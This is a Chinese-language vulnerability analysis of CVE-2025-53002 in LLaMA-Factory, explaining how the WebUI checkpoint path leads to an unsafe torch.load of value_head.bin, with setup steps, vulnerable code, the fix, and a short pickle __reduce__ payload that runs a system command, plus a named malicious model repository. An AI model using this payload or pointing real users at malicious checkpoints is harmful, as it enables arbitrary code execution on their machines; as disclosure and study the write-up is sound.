Llama-Factory vhead_file 代码执行漏洞(CVE-2025-53002)
漏洞来源漏洞描述LLaMA-Factory 是一个用于大型语言模型的调音库。在LLaMA-工厂培训过程中,在LLaMA-Factory版本中发现了一个远程执行漏洞,该漏洞包括0.9.3。此漏洞的发生是因为 `vhead_file` 加载时没有适当的保护措施,使得恶意攻击者只需通过 `WebUI` 接口传递一个恶意的 `Checkpoint 路径参数,即可在主机系统上执行任意恶意代码。"袭
漏洞来源

漏洞描述
LLaMA-Factory 是一个用于大型语言模型的调音库。在LLaMA-工厂培训过程中,在LLaMA-Factory版本中发现了一个远程执行漏洞,该漏洞包括0.9.3。此漏洞的发生是因为 `vhead_file` 加载时没有适当的保护措施,使得恶意攻击者只需通过 `WebUI` 接口传递一个恶意的 `Checkpoint 路径参数,即可在主机系统上执行任意恶意代码。"袭击是隐秘的,因为受害者仍然不了解这种剥削行为。根本原因是 `vhead_file` 参数在未使用安全参数 `weights_only=True` 的情况下被加载。0.9.4 版本包含对此问题的修复。
漏洞原理
Llama Factory 的 WebUI 允许用户指定任意 checkpoint 路径,后端在加载该路径下的 value_head.bin 权重文件时,调用了 不带安全防护的 torch.load();而 torch.load() 在 PyTorch < 2.6 版本中默认使用 Python 的 pickle 反序列化机制,会自动执行文件中嵌入的任意 Python 对象代码;攻击者只需诱导用户加载一个包含恶意 __reduce__ payload 的 value_head.bin 文件,即可在服务器上静默执行任意命令。
环境搭建
下载地址:https://github.com/hiyouga/LLaMA-Factory/releases,虽然显示的漏洞利用版本是<=0.9.3,但是其实新版的 0.9.3 中官方已经打了补丁了,而且这个漏洞的利用还需要取决于 torch 版本,在 torch 版本 <2.6 中,默认设置为 weights_only=False ,而 Llama Factory 的 setup.py 只需要 torch>=2.0.0 ,所以其实当 torch>=2.6 版本后就算官方不修也没法复现这个漏洞。
依次执行下面命令搭建环境
git clone --depth 1 https://github.com/hiyouga/LLaMA-Factory.git
cd LLaMA-Factory
conda create -n llama-factory python=3.10//需要 3.10 的 python 版本,这里创建python虚拟环境可以直接用pychram创建
conda activate llama-factory //进入虚拟环境
pip install -e ".[torch,metrics]"接着就是安装 pytorch 了,执行 nvidia-smi 查看自己的显卡支持的当前CUDA,然后去PyTorch官网上对应下载版本 https://pytorch.org/get-started/locally/
选择对应的版本命令下载依赖(可以向下兼容不能向上)
漏洞分析
漏洞代码在src/llamafactory/webui/runner.py中

if get("top.checkpoint_path"):
if finetuning_type in PEFT_METHODS: # list
args["adapter_name_or_path"] = ",".join(
[get_save_dir(model_name, finetuning_type, adapter) for adapter in get("top.checkpoint_path")]
)
else: # str
args["model_name_or_path"] = get_save_dir(model_name, finetuning_type, get("top.checkpoint_path"))
# quantization
if get("top.quantization_bit") != "none":
args["quantization_bit"] = int(get("top.quantization_bit"))
args["quantization_method"] = get("top.quantization_method")
args["double_quantization"] = not is_torch_npu_available()当用户在 WebUI 界面中填写 “Checkpoint path” 字段(即 top.checkpoint_path)并启动训练时,后端会根据微调类型,将用户输入的路径拼接成 adapter_name_or_path。例如,若用户输入 "malicious_model",系统会构造路径如 ./saves/Qwen2-7B/lora/malicious_model,并将其传入训练流程。
adapter_name_or_path随后将训练过程用于src/llamafactory/model/model_utils/valuehead.py获取相应的value_head.bin来自 Hugging Face 的文件。此文件随后通过torch.load()没有安全参数weights_only=True被设置,从而实现远程代码执行。
代码在 src/llamafactory/model/model_utils/valuehead.py 中

try:
from safetensors import safe_open
vhead_file = cached_file(filename=V_HEAD_SAFE_WEIGHTS_NAME, **kwargs)
with safe_open(vhead_file, framework="pt", device="cpu") as f:
return {key: f.get_tensor(key) for key in f.keys()}
except Exception as err:
err_text = str(err)
try:
vhead_file = cached_file(filename=V_HEAD_WEIGHTS_NAME, **kwargs)
return torch.load(vhead_file, map_location="cpu")
except Exception as err:
err_text = str(err)
logger.info_rank0(f"Provided path ({path_or_repo_id}) does not contain value head weights: {err_text}.")
logger.info_rank0("Ignore the above message if you are not resuming the training of a value head model.")
return None优先尝试使用安全的 safetensors 格式,但一旦缺失 .safetensors 文件,便会回退到调用 torch.load(vhead_file, map_location="cpu") 加载传统的 .bin 文件;而该调用未启用 weights_only=True 参数,在 PyTorch < 2.6 环境下默认使用不安全的 pickle 反序列化机制,导致攻击者只需提供一个精心构造的恶意 value_head.bin 文件(例如通过诱导用户加载其 Hugging Face 模型),即可在服务器上静默执行任意代码,实现远程控制
漏洞复现
通过WebUI界面进行远程攻击
- 配置Model name而且Model path没错。使用一个小型模型llamafactory/tiny-random-Llama-3加速模型加载。
- 设置Finetuning method到LoRA而且Train Stage到Reward Modeling。该漏洞是在奖励建模培训阶段特别触发的。
- 输入恶意的”路径Checkpoint path– 我们使用paulinsider/llamafactory-hack。此仓库(https://huggingface.co/paulinsider/llamafactory-hack/tree/main)包含恶意value_head.bin文件。此文件的功能为创建一个HACKED!文件夹

这里把恶意文件 value_head.bin 改为执行 calc,利用下面代码生成恶意文件然后进行替换
import pickle
import os
class evil():
def __reduce__(self):
return (os.system,("calc",))
with open("value_head.bin","wb") as f:
pickle.dump(evil(),f)
修复
官方补丁:

启用 weights_only=True 参数且升级pytorch版本
LLaMA-Factory因未启用weights_only=True加载value_head.bin,导致PyTorch<2.6环境下可被恶意pickle触发RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准